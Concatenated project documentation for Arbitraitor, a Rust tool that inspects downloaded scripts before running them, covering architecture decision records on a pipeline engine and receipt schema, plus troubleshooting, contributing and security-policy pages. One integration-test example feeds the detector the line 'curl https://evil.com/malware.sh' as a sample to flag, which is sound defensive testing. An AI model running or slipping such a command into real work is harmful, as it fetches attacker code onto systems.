Rejected for this PR. Tightening the wasmtime version constraint (e.g., >=43.0.1) is a separate decision that requires its own ADR and advisory check, per the issue #463 constraints. The risk register documents the minimum safe version; the actual version bump is tracked separately.

Add explicit ignore rules in deny.toml for wasmtime advisories

Rejected. The global cargo deny check advisories already catches affected versions. Adding ignore rules would suppress real findings. The existing ignore list is reserved for advisories that have been formally evaluated and accepted (e.g., transitive bincode via yara-x).

Build a custom CI job that scrapes the GHSA page

Rejected. The RustSec advisory database is already mirrored to ~/.cargo/advisory-dbs by cargo-deny and is the canonical source for Rust crate advisories. Building a separate scraper would duplicate existing infrastructure and add maintenance burden.

Catalog only the two Critical CVEs from the issue

Rejected. A risk register that only lists the two CVEs named in the issue would miss the 10 other advisories published in the same April 2026 batch, several of which are Moderate severity and relevant to the component-model and Cranelift features that Arbitraitor enables. A complete catalog is necessary for informed risk decisions.

References

ADR 0038: Pipeline engine crate extraction and naming

Status: Proposed Date: 2026-07-23 Issue: TBD (tracking issue to be created before acceptance)

Context

Three independent compositions of the fetch→store→analyze→provenance→receipt→verdict pipeline exist in the codebase today:

  1. arbitraitor-cli/src/pipeline.rs (ADR-0027) — composes fetcher, ContentStore, AnalysisCoordinator, signature verification, and receipt building. Does not do policy evaluation or release.
  2. arbitraitor-mcp tool handlersInspectUrlTool composes fetch+analyze per-call; FetchArtifactTool does fetch-only; ScanArtifactTool does analyze-only. These three tools do not use ContentStore, PolicyEngine, or receipt building. (Note: QueryReceiptTool does use arbitraitor_receipt::Receipt for lookups, and ApprovalTokenIssuer uses arbitraitor_store::SpentNonceStore — the broader MCP crate has store and receipt dependencies, but not for pipeline composition.)
  3. arbitraitor-daemon::ArbitraitorApi — composes fetch+store+analyze+policy+receipt. Does not do provenance verification.

Each composition covers a different subset of the pipeline. A consumer switching between surfaces (CLI, MCP, daemon) gets different security coverage without knowing it. This is worse than uniform divergence — it is silent coverage holes.

ADR-0027 moved CLI orchestration out of main.rs into pipeline.rs as an interim step “until the core state machine can own the pipeline more fully.” ADR-0027’s stated future direction was movement into arbitraitor-core. However, ADR-0002 keeps arbitraitor-core free of I/O, and the pipeline composes I/O-producing crates (fetch, store, analysis, provenance). This ADR redirects ADR-0027’s trajectory: the pipeline engine lives in its own crate, not in arbitraitor-core.

Additionally, third-party products (Rust package managers, IDE plugins, CI binaries) need to embed Arbitraitor’s pipeline without shelling out to the CLI. The spec §40 (v0.6, PR #651) describes three integration surfaces — library, daemon, MCP gateway — all over a single pipeline engine.

Note on spec dependency: This ADR references invariant numbers and spec sections from docs/spec/spec.md (PR #651, pending merge). The invariant numbering below follows the spec’s §9 list (24 invariants), which is more granular than conventions.md’s 10-invariant summary. If #651 is not merged before this ADR is accepted, inline definitions must be added.

Decision

1. Extract a new pipeline engine crate: arbitraitor-engine

Working name: arbitraitor-engine (recommended over arbitraitor-api to avoid REST/HTTP API confusion and prevent the redundant arbitraitor_api::ArbitraitorApi path).

The crate owns:

  • Arbitraitor — entry-point struct with a fluent builder.
  • ArbitraitorBuilder — config, policy, signature inputs, detector list, YARA rules.
  • ArbitraitorApi — the in-process API (moved from arbitraitor-daemon).
  • Config — store path, fetch policy, retention policy, receipts directory.
  • InspectionResult — typed result carrying verdict, findings, receipt, sha256. (Note: the current code uses InspectionResult at api.rs:84; this ADR preserves the existing name rather than renaming to InspectResult.)
  • A typed error derived from thiserror.

The engine is the single authority for (spec §9 invariant numbers, pending #651 merge):

  • Invariant 1 (no early release)
  • Invariant 2 (immutable identity — reverify digest before every release)
  • Invariant 3 (single retrieval)
  • Invariant 4 (bounded processing)
  • §18.3 fail-closed principle (required scanner failure must block or produce incomplete)
  • Spec invariant 8 (safe temporary storage — CAS; note: conventions.md invariant 8 is “monotonic project configuration” — the numbering systems differ)
  • Spec invariant 11 (approval integrity — inspection result feeding approval display)
  • Spec invariant 12 (deterministic enforcement — detector scheduling)
  • Spec invariant 22 (metadata index is non-authoritative)
  • Spec invariant 23 (plan-bound approval capability — ownership gap: ApprovalTokenIssuer and RequestApprovalTool currently live in arbitraitor-mcp; invariant 23 ownership is claimed but not yet realized, see proposed ADR-0039)
  • §26.2 (safe destination release)

State transitions (§38.3) remain owned by arbitraitor-core (the value-type state machine PipelineOperation). The engine drives the state machine through the API. Note: PipelineOperation is currently fully implemented but not wired into any of the three existing compositions. Integrating the state machine into the engine is a prerequisite for the single-pipeline principle, not a consequence of it (tech-stack §36.1 item 7).

2. arbitraitor-daemon becomes a thin consumer

The daemon crate retains only:

  • Unix-socket I/O
  • OperationQueue (async queue with concurrency limiting, cancellation)
  • Capability-token recording (currently records token presence for diagnostics; full verification is a future responsibility)
  • Rate-limiting

Pipeline code (fetch, store, analyze, provenance, receipt, verdict) moves to arbitraitor-engine.

3. arbitraitor-mcp becomes a thin consumer

MCP tool handlers translate JSON-RPC parameters into typed ArbitraitorApi calls. No pipeline composition is reimplemented in arbitraitor-mcp.

The full set of tool handlers: InspectUrlTool, ScanArtifactTool, FetchArtifactTool, QueryReceiptTool, ExplainVerdictTool, RequestApprovalTool, RunApprovedArtifactTool.

Current-state gap: build_default_server() registers only 5 of 7 tools (RequestApprovalTool and RunApprovedArtifactTool are implemented but not registered). The migration must also wire these into the default server.

4. arbitraitor-cli becomes a thin consumer

Per ADR-0027’s trajectory (redirected by this ADR), the CLI’s pipeline.rs becomes a thin adapter that builds an ArbitraitorBuilder from CLI args, calls ArbitraitorApi::inspect, and formats results through the CLI’s presentation helpers.

5. Public API stability contract

Before 1.0, arbitraitor-engine publishes under SemVer 0.x:

  • Breaking changes tracked in CHANGELOG.md and flagged in the release PR.
  • The public surface is deliberately narrow: Arbitraitor, ArbitraitorBuilder, ArbitraitorApi, Config, InspectionResult, and a typed error.
  • Feature flags gate heavier integrations (yara-x, sigstore, package-manager, plugin-host) so minimal consumers do not pull those transitive dependencies.
  • The public API never exposes types from arbitraitor-fetch, arbitraitor-store, arbitraitor-analysis, arbitraitor-receipt, arbitraitor-provenance, or arbitraitor-exec verbatim.

6. InspectionResult.receipt type identity

InspectionResult exposes a receipt. To insulate consumers from arbitraitor-receipt schema changes (e.g. the envelope restructure in #492), InspectionResult.receipt must be an engine-owned wrapper struct that maps from internal arbitraitor-receipt::Receipt types — not the raw type. This means:

  • When arbitraitor-receipt schema changes (flat → envelope per #492), the engine crate absorbs the mapping change. Consumers see a stable InspectionResultReceipt type.
  • The wrapper must expose all fields consumers need (verdict, findings, sha256, retrieval metadata) without leaking arbitraitor-receipt types.
  • Review trigger: if arbitraitor-receipt adds a field consumers need, the wrapper must be updated in the same PR.

7. Current type leakage migration

The existing ArbitraitorApi in arbitraitor-daemon leaks internal types:

  • Config.fetch_policy: FetchPolicy (from arbitraitor-fetch)
  • ReleaseResult.method: ReleaseMethod (from arbitraitor-exec)
  • ApiError::Store(StoreError) (from arbitraitor-store)
  • ArbitraitorBuilder::policy(PolicyEngine) (from arbitraitor-policy)

All of these must be wrapped in engine-owned types before the crate publishes to crates.io (tech-stack §36.1 item 6).

Consequences

  • Single pipeline, one set of invariants. CLI, MCP, daemon, and third-party embedders all route through the same engine. Silent coverage holes are eliminated.
  • ADR-0027 trajectory redirected. ADR-0027 envisioned movement into arbitraitor-core; this ADR moves to a separate engine crate because the pipeline composes I/O-producing crates and ADR-0002 keeps arbitraitor-core free of I/O.
  • PipelineOperation must be wired. The state machine in arbitraitor-core is currently unused. Integration is a prerequisite, not a consequence, of the extraction.
  • Provenance verification must be added to the engine. The CLI pipeline does minisign/cosign verification; ArbitraitorApi does not. The engine must own this.
  • Approval flow ownership gap. ApprovalTokenIssuer and RequestApprovalTool currently live in arbitraitor-mcp. The engine claims invariant 23 (plan-bound approval) but the approval flow is not yet integrated. This gap is explicitly deferred to ADR-0039 (proposed). Until ADR-0039 is accepted, invariant 23 ownership is aspirational, not realized.
  • MCP dependency closure grows. When arbitraitor-mcp depends on arbitraitor-engine, it transitively depends on arbitraitor-store, arbitraitor-fetch, etc. The MCP process’s attack surface increases. Feature flags mitigate this but do not eliminate it.
  • New §9 invariant candidate. The single-pipeline principle (“only the pipeline engine may transition the state machine across retrieval → release”) is a security-relevant assertion not yet in §9. If added as invariant 25, the invariants.yml CI workflow must test it. Deferred to a separate decision.

Alternatives considered

  • Move pipeline into arbitraitor-core: Rejected. ADR-0002 keeps arbitraitor-core free of I/O. The pipeline composes I/O-producing crates (fetch, store, analysis, provenance). While ADR-0027’s “Alternatives considered” called the core move a “better final boundary,” the I/O constraint makes it architecturally incompatible. This ADR formally redirects ADR-0027’s trajectory rather than perpetuating an unfulfillable plan.

  • Multi-pipeline composition per consumer: Rejected. Reintroduces the silent coverage holes that motivated the extraction. Each composition omits different invariants.

  • Toolkit crate exposing individual components: Rejected. Third parties would re-implement invariants (§9 and §26.2) and the security boundary becomes advisory rather than enforced.

  • Library embedding as the only surface (no daemon, no MCP): Rejected. Non-Rust consumers (Go, Python, Node) need a stable out-of-process surface.

  • Name arbitraitor-api: Rejected. Evokes REST/HTTP APIs, creates the redundant arbitraitor_api::ArbitraitorApi path, and conflicts with common expectations of what an “API crate” provides.

  • Name arbitraitor-runtime: Rejected. “Runtime” is overloaded — could mean execution runtime, plugin runtime, or WASM runtime. The codebase already has arbitraitor-exec and arbitraitor-plugin-host.

Staged rollout

  1. Stage 0: PipelineOperation wired into at least one composition (prerequisite — must be complete before ADR acceptance).
  2. Stage 1: This ADR accepted. Spec §40 marked as normative (requires #651 merged).
  3. Stage 2: Add provenance verification to ArbitraitorApi (currently CLI-only).
  4. Stage 3: Extract arbitraitor-engine crate from arbitraitor-daemon.
  5. Stage 4: Make MCP thin (rewrite tool handlers to delegate to ArbitraitorApi).
  6. Stage 5: Make CLI thin (rewrite pipeline.rs to delegate to ArbitraitorApi).
  7. Stage 6: Type wrapping (wrap all leaking types in engine-owned structs).
  8. Stage 7: Feature flags (yara-x, sigstore, package-manager, plugin-host).
  9. Stage 8: Publish to crates.io under 0.x.

Dependencies on in-flight issues

  • #651 (spec commit, pending merge): This ADR references invariant numbers (11, 12, 22, 23) and spec sections (§9, §18.3, §26.2, §38.3, §36.1, §40) from docs/spec/spec.md. These do not exist in the codebase until #651 is merged. If #651 is not merged before this ADR is accepted, inline invariant definitions must be added.
  • #492 (receipt envelope, breaking-change): InspectionResult.receipt type identity depends on this. The engine-owned wrapper (decision 6) absorbs the breaking change. Must coordinate.
  • #462 (WASI 0.3 floor): May override tech-stack §10.1 cautious wording. Reconcile WASI 0.3 status before the plugin-host feature flag ships.
  • #503 (mandatory detector coverage) — MERGED: Coverage-map policy must be exposed through ArbitraitorBuilder.
  • #499 (decoded-child artifact) — MERGED: InspectionResult may need a child-identity field beyond single sha256.
  • #463 (Wasmtime CVE risk register): Adds receipt fields (wasmtime_version, compiler_backend) that flow through InspectionResult.receipt. Three-way coordination with #492.

References

  • Spec §40 (docs/spec/spec.md, PR #651)
  • Tech-stack §3.5 (docs/spec/tech-stack.md, PR #651)
  • ADR-0002 (workspace structure and crate boundaries)
  • ADR-0013 (plan-bound approval capability)
  • ADR-0027 (CLI pipeline boundary — redirected by this ADR)
  • conventions.md (security invariants — note: uses different invariant numbering than spec §9)

ADR 0039: Receipt envelope structure (spec §31.1)

Status: Accepted Date: 2026-07-23 Issue: #492

Context

The receipt schema (v1) used a flat structure where all fields lived at the top level of the Receipt struct. As the receipt grew to include provenance, detector, policy, and release metadata, the flat structure became difficult to navigate and did not match the spec §31.1 top-level envelope shape:

{
  "schema_version": 1,
  "request": {},
  "artifact": {},
  "retrieval": {},
  "provenance": {},
  "payload_graph": {},
  "detectors": [],
  "findings": [],
  "policy": {},
  "verdict": {},
  "release": {},
  "timestamps": {}
}

Issue #492 flagged this as a HIGH-severity spec gap.

Decision

Adopt the spec §31.1 envelope structure as schema v2. The Receipt struct is reorganized into grouped sub-structs:

BucketSub-structFields moved from v1 top-level
requestRequestInfoarbitraitor_version, config_digest
artifactArtifactInfoartifact_sha256sha256, artifact_sizesize, artifact_type
retrievalOption<RetrievalInfo>unchanged
provenanceProvenanceInfoverifier_identity, detector_provenance, signature, signatures
payload_graphOption<PayloadGraph>unchanged (now always present as key, null when None)
detectorsVec<DetectorVersion>detector_versions
findingsVec<FindingSummary>unchanged
policyPolicyInfopolicy_digest, allow_rule_metadata, audit_trail
verdictVerdictInfounchanged
releaseOption<ReleaseInfo>approval and effective_controls moved from top-level into ReleaseInfo
timestampsReceiptTimestampsunchanged

Migration path

Receipt::parse(json) accepts both v1 (flat) and v2 (envelope) JSON. v1 receipts are deserialized into ReceiptV1 and converted to v2 via Receipt::from_v1(). This allows existing receipt files on disk to be read transparently.

Canonicalization

unsigned_canonical_bytes() clears provenance.signature and provenance.signatures before canonicalization (ADR-0014). The signature fields moved from top-level to provenance.* but the canonicalization logic is unchanged — signatures are still excluded to prevent self-reference.

Builder API

ReceiptBuilder method signatures are unchanged. The builder internally constructs the nested structure and handles the approval and effective_controls fields via pending state that is merged into release on build().

Consequences

  • Breaking change: any code that directly accesses receipt.artifact_sha256, receipt.policy_digest, etc. must update to receipt.artifact.sha256, receipt.policy.policy_digest, etc.
  • schema_version bumped from 1 to 2.
  • All 12 top-level keys are always present in serialized JSON (spec §31.1 acceptance criterion).
  • v1 receipts on disk are automatically migrated when read via Receipt::parse().
  • in-toto Statement export (ADR-0023) and SARIF export (§31.4) continue to work — they read from the nested artifact.sha256 field.
  • The ReceiptBuilder API is source-compatible — downstream callers that use the builder do not need changes.

Alternatives considered

  • Keep flat structure, add envelope as a wrapper type: rejected because the spec §31.1 explicitly requires the top-level keys to be the envelope buckets. A wrapper would add an extra nesting level not in the spec.
  • Make all fields always present (non-Option): rejected because retrieval, payload_graph, and release are genuinely optional (not all flows produce them). They serialize as null when absent, which satisfies the “all top-level keys present” requirement.

References

  • Spec §31.1 (top-level envelope structure)
  • ADR-0014 (receipt canonicalization, RFC 8785 JCS)
  • ADR-0023 (in-toto Statement receipt envelope)
  • Issue #492

Troubleshooting

Common issues and how to resolve them.

Build problems

OpenSSL errors during cargo install

Symptom: Build fails with Could not find directory of OpenSSL installation.

Fix: Install the OpenSSL development headers.

# Ubuntu/Debian
sudo apt install pkg-config libssl-dev

# macOS
brew install pkg-config openssl@3
# May also need:
export OPENSSL_DIR=$(brew --prefix openssl@3)

Out of memory during compilation

Symptom: Build killed by OOM killer or linker error.

Fix: Reduce parallelism.

cargo install --path crates/arbitraitor-cli -j 2

arbitraitor command not found after install

Symptom: command not found: arbitraitor

Fix: Ensure ~/.cargo/bin is on your PATH.

echo 'export PATH="$HOME/.cargo/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc

Inspection problems

inspect returns INCOMPLETE verdict

Cause: A detector failed to complete. This is fail-closed behavior — Arbitraitor treats a failed detector as untrusted, not clean.

Fix:

  1. Run arbitraitor status to check detector health.
  2. Re-run the inspection — transient network errors may resolve.
  3. If a specific detector consistently fails, check its configuration.
  4. Use --no-detectors to identify-only (for debugging, not production).

inspect reports findings on a script I trust

This is expected. Arbitraitor reports what the script does, not whether it is safe. A finding like network:curl means the script downloads content — that is information for your decision, not a verdict.

Use --explain to understand each finding:

arbitraitor inspect https://example.com/install.sh --explain

Provenance verification fails

Fix:

  1. Verify the public key is correct.
  2. Ensure you are passing the .pub key, not the secret key.
  3. The artifact may have changed since the signature was created.

Execution problems

run exits with code 5

The verdict requires approval, but you are in non-interactive mode.

Fix: Run interactively (without --non-interactive) to get the approval prompt.

run exits with code 3

The artifact was blocked by policy — findings exceeded your block thresholds.

Fix: Review findings with inspect --explain. If you have a legitimate need to run a blocked artifact, adjust your policy thresholds. Do not disable policy enforcement globally.

Script fails with network errors during execution

Cause: Mediated execution denies network access by default (Level 2).

Fix: If the script legitimately needs network access, grant it explicitly:

arbitraitor run https://example.com/install.sh --network

This is an intentional security boundary. Only grant network access to scripts you have inspected and trust.

Configuration problems

Config changes not taking effect

  1. Config locations: ~/.arbitraitor/config.toml (user) or ./.arbitraitor/config.toml (project).
  2. Override order: defaults → user config → project config → --config.
  3. Run arbitraitor status to see the loaded configuration.

Secret references not resolving

Ensure the environment variable or file exists:

export URLHAUS_API_KEY=your-key-here

File paths must be absolute in the config:

api_key = "secret://file//etc/arbitraitor/keys/api.key"

Getting help

Contributing

Arbitraitor welcomes contributions from the community. This guide covers development setup, the PR process, and standards.

Development setup

Toolchain

Arbitraitor uses mise for toolchain management:

# Install mise if not already
curl https://mise.run | sh

# Install Rust toolchain and tools
mise install

Verify the setup:

rustc --version   # Should show Rust 2024 edition
cargo --version
mise current      # Should show configured versions

Repository structure

arbitraitor/
├── crates/           # All workspace crates
├── book/             # mdBook documentation
├── docs/
│   └── adr/          # Architecture decision records
├── wit/              # WIT interface definitions
├── rules/            # YARA-X rule packs
└── schemas/          # JSON schemas

Worktree discipline

Work in a temporary worktree, never on main:

git fetch origin
git worktree add ../arbitraitor-<task-slug> main
cd ../arbitraitor-<task-slug>

This keeps the main checkout clean and allows parallel work.

Running tests

# All tests
cargo nextest run

# Specific crate
cargo nextest run -p arbitraitor-shell

# With coverage
cargo tarpaulin --workspace

Pre-PR checks

Before opening a PR, run:

cargo fmt --check
cargo clippy --workspace --all-targets --all-features -- -D warnings
cargo check --workspace --all-targets --all-features
cargo nextest run

All checks must pass. If CI fails, fix the issue — do not disable checks.

PR process

Branch naming

Use <type>/<short-slug>:

git checkout -b feat/fetcher-trait
git checkout -b fix/store-digest-race
git checkout -b docs/mdbook-site
git checkout -b security/plugin-wasi-boundary

Commit messages

The PR title uses Conventional Commits format (squash merge):

feat(fetch): enforce connected-peer address policy
fix(store): prevent release from stale artifact handle
docs(spec): define encoded HTTP artifact identity
security(plugin): reject undeclared WASI imports

PR requirements

Every PR must include:

  • Problem and approach — what changed and why
  • Linked issue — use closing keywords (Fixes #123)
  • Security impact — how this affects the threat model
  • Tests added — what behavior is now covered
  • Documentation updated — user-facing or architecture docs
  • Compatibility impact — API, CLI, protocol changes

Adversarial review

PRs created by automated agents require review from a different agent. The reviewer must attempt to break the implementation, verify security invariants hold, and check for edge cases.

Small PRs

Keep PRs focused and reviewable. If a change is large, split it into stacked PRs:

feat/base-api      <- merge first
feat/fetcher-use   <- merge second
feat/store-use     <- merge third

ADR process

Architecture decisions are recorded as ADRs (Architecture Decision Records) in docs/adr/.

When to write an ADR:

  • Adding a production dependency with security implications
  • Changing the trust model or execution context
  • Choosing between approaches where reversal is expensive
  • Adding or changing a plugin capability

ADR format:

# ADR NNNN: Title

**Status:** Accepted | Proposed | Superseded | Rejected
**Date:** YYYY-MM-DD
**Issue:** #NN

## Context

Why this decision is needed.

## Decision

What was decided.

## Consequences

What follows from the decision.

## Alternatives considered

Options that were evaluated and rejected.

## References

Related specs, ADRs, or documentation.

Testing strategy

Unit tests

Every meaningful behavior gets a unit test:

#![allow(unused)]
fn main() {
#[test]
fn finding_aggregates_by_severity() {
    let findings = vec![
        Finding { severity: Severity::High, .. },
        Finding { severity: Severity::Low, .. },
        Finding { severity: Severity::High, .. },
    ];
    let aggregated = aggregate_by_severity(findings);
    assert_eq!(aggregated.high, 2);
    assert_eq!(aggregated.low, 1);
}
}

Integration tests

Cross-crate interactions are tested via integration tests:

#![allow(unused)]
fn main() {
// tests/analysis_pipeline.rs
#[tokio::test]
async fn full_pipeline_with_shell_detector() {
    let artifact = test_artifact("curl https://evil.com/malware.sh");
    let result = Arbitraitor::new().inspect(artifact).await;
    assert!(result.findings.iter().any(|f| f.id == "network:curl"));
}
}

Property tests

For functions with many input permutations:

#![allow(unused)]
fn main() {
proptest! {
    #[test]
    fn url_normalization_roundtrips(url: NormalizedUrl) {
        let serialized = url.to_string();
        let parsed: NormalizedUrl = serialized.parse().unwrap();
        prop_assert_eq!(url, parsed);
    }
}
}

Test shapes

LayerCountSpeed
UnitMany< 10ms each
IntegrationSome< 1s each
E2EFewseconds

Security-sensitive changes

Changes to these paths require extra scrutiny:

  • arbitraitor-fetch/ — transport, SSRF, TLS
  • arbitraitor-store/ — CAS, digest verification, release
  • arbitraitor-exec/ — execution broker
  • arbitraitor-plugin-host/ — Wasmtime runtime
  • wit/ — plugin interface definitions
  • Cargo.lock — dependency supply chain

Security-sensitive changes require review from a code owner before merge.

Code style

  • Follow cargo clippy --workspace --all-targets --all-features -- -D warnings
  • No unwrap() in production code
  • Use thiserror for typed errors
  • Use tracing for structured logging
  • No println! in library crates

Security Policy

Reporting a Vulnerability

Do not report vulnerabilities through public GitHub issues.

Use GitHub private vulnerability reporting to disclose security issues responsibly.

Please include:

  • Description of the vulnerability and its impact
  • Steps to reproduce or proof of concept
  • Affected versions or commits
  • Suggested fix if available

We acknowledge within 72 hours and aim to provide an initial assessment within 7 days.

Security invariants

Arbitraitor enforces these non-negotiable security invariants. Any change that weakens them will be rejected:

  1. No early release — No artifact byte reaches a downstream consumer before scanning and policy evaluation complete.
  2. Immutable identity — Released bytes hash to exactly the SHA-256 recorded in the verdict.
  3. Single retrieval — The primary network response is not re-fetched between approval and execution.
  4. Bounded processing — Every parser, decompressor, scanner, and recursive operation has explicit limits.
  5. Fail closed — When enforcement is mandatory, inability to complete a required check blocks release.
  6. Plan-bound approval — Approval binds the full execution plan, not just the artifact digest.

Supported versions

VersionSupported
< 1.0Security fixes only on latest main

Arbitraitor is pre-1.0. Only the latest main branch receives security fixes. Backports are not provided.

Threat model

Arbitraitor assumes:

  • Network is adversarial. SSRF, DNS rebinding, TLS downgrade, and CDN compromise are real threats.
  • Content publishers may be compromised. A legitimate domain can serve malicious content.
  • Human operators make mistakes. Arbitraitor enforces policy even when users intend to bypass it.

Security boundaries

Untrusted input
       │
       ▼
┌──────────────────────────────────────┐
│ FETCH: SSRF protection, TLS verify   │
└──────────────────────────────────────┘
       │
       ▼
┌──────────────────────────────────────┐
│ STORE: Immutable CAS, SHA-256 identity │
└──────────────────────────────────────┘
       │
       ▼
┌──────────────────────────────────────┐
│ ANALYSIS: Detection pipeline           │
└──────────────────────────────────────┘
       │
       ▼
┌──────────────────────────────────────┐
│ POLICY: Verdict computation           │
└──────────────────────────────────────┘
       │
       ▼
┌──────────────────────────────────────┐
│ APPROVAL: Plan-bound human approval    │
└──────────────────────────────────────┘
       │
       ▼
┌──────────────────────────────────────┐
│ EXECUTE: Mediated, sandboxed          │
└──────────────────────────────────────┘

Bytes flow through these boundaries in one direction. Only handles (digests) cross boundaries after initial retrieval.

Plugin security

Plugins are isolated using Wasmtime Component Model or subprocess protocols:

  • WASM plugins have no filesystem, network, or environment access by default
  • Subprocess plugins run with closed descriptors, clean environment, and resource limits
  • Native dynamic libraries (.so, .dylib) are not supported

See the Plugins documentation for details.

Disclosure policy

TimelineAction
0 daysVulnerability reported
3 daysAcknowledgment sent
7 daysInitial assessment provided
30 daysFix developed and tested
60 daysSecurity advisory published

Critical vulnerabilities may follow an accelerated timeline.